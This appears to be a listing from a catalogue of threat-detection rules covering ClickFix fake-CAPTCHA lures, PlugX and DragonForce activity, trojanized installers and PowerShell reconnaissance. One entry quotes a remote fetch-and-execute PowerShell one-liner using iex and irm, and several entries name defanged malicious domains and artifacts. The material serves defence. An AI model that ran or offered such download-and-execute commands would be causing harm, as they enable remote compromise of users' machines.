4,463 detections

The following analytic detects the use of the Get-CimInstance cmdlet with the -ComputerName parameter, indicating an attempt to retrieve information from a remote computer. It leverages PowerShell Script Block Logging to identify this specific command execution. This activity is significant as it may indicate unauthorized remote access or information gathering by an attacker. If confirmed malicious, this could allow the attacker to collect sensitive data from remote systems, potentially leading to further exploitation or lateral movement within the network.

Detects a suspected ClickFix social engineering attack where a user is tricked into pasting malicious commands into Windows Terminal, leading to a PowerShell download, followed by the appearance of specific known malicious artifacts (LockScreenContentServer.exe, dui70.dll, or 1.bat) within 15 minutes on the same device.

Detects the OIC-lure Mustang Panda PlugX infection chain with tightened false-positive controls: requires the console-resize artifact (mode.com with digit,digit args) that precedes the download, requires PowerShell to be parented directly by explorer.exe (filtering out legitimate scheduled-task/management-agent automation that also chains curl+tar), requires curl to combine -L with -k/-s (insecure/silent) flags, narrows all correlation windows to 2 minutes, and excludes shell/utility processes from the final execution match.

Detects the ClickFix/fake-CAPTCHA initial access pattern where users are socially engineered into copying and pasting malicious commands into the Windows Run dialog or a browser-spawned shell. The rule matches on process creation events involving mshta.exe, powershell.exe, or wscript.exe initiated by explorer.exe or common shell-related processes, filtering out known administrative and deployment software.

Detects Microsoft Office applications (Word, Excel, Outlook, PowerPoint) spawning common LOLBins or command-line interpreters. This behavior is frequently associated with malicious macros or exploitation attempts delivering secondary payloads.

Detects ClickFix-style attacks where a user is tricked into copying and pasting malicious, often obfuscated, commands into the Windows Run dialog or a command prompt. The detection identifies suspicious parent processes (like explorer.exe) spawning shell interpreters (powershell.exe, cmd.exe, mshta.exe) with inline encoded payloads or remote content retrieval patterns. It correlates these process executions with recent entries in the Windows RunMRU registry key to identify commands triggered via the Run dialog.

Detects instances where a PowerShell session is initiated from Windows Terminal (wt.exe) and subsequently executes a command to download an archive file (e.g., .zip) using common download cmdlets or methods. This pattern is often indicative of an attacker downloading and staging malicious payloads.

Detects various indicators of compromise (IOCs) including known malicious file hashes, suspicious file names commonly associated with staging or initialization in web directories, and network communication to known malicious domains or URLs. It also monitors process execution command lines for references to these IOCs, excluding common browser processes.

Detects PowerShell execution performing port checks across multiple internal hosts using Test-NetConnection in a looping construct with output redirected to a log file, indicative of post-compromise reconnaissance (such as LONEPAGE scanning).

Detects anomalous execution of PowerShell commands spawned by processes identified as 'javaw.exe' or 'GlobalTellurSync.exe' (associated with DragonForce backdoor activity). The detection focuses on instances where these processes launch from non-standard user-writable directories (e.g., AppData, Temp) and execute PowerShell commands that contain obfuscated arguments or payloads, while excluding standard scheduled task invocations.

Detects a sequence of events where a user clicks a shared link to an AI chatbot conversation followed closely (within 15 minutes) by the execution of potentially malicious processes (mshta, powershell, cmd) that include suspicious command-line patterns indicative of ClickFix-style social engineering.

Detects a suspicious Microsoft Teams MSI installer (msiexec.exe) spawning a PowerShell child process or referencing a known dead-drop resolver domain. This behavior is indicative of a trojanized installer used as an initial access vector to execute malicious payloads.

Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

Detects instances where a suspicious PowerShell, mshta, or pwsh command, typically involving download or obfuscation patterns, is launched as a child process of Windows Explorer within two minutes of a modification to the Explorer RunMRU registry key. This behavior is indicative of an adversary attempting to achieve execution, often following user interaction or persistence triggers.

Detects the ClickFix behavioral pattern where Windows Explorer (typically triggered via the Run dialog) directly spawns PowerShell.exe. This activity is indicative of a user being socially engineered into copying and executing a malicious command from a fake CAPTCHA lure directly into the shell.
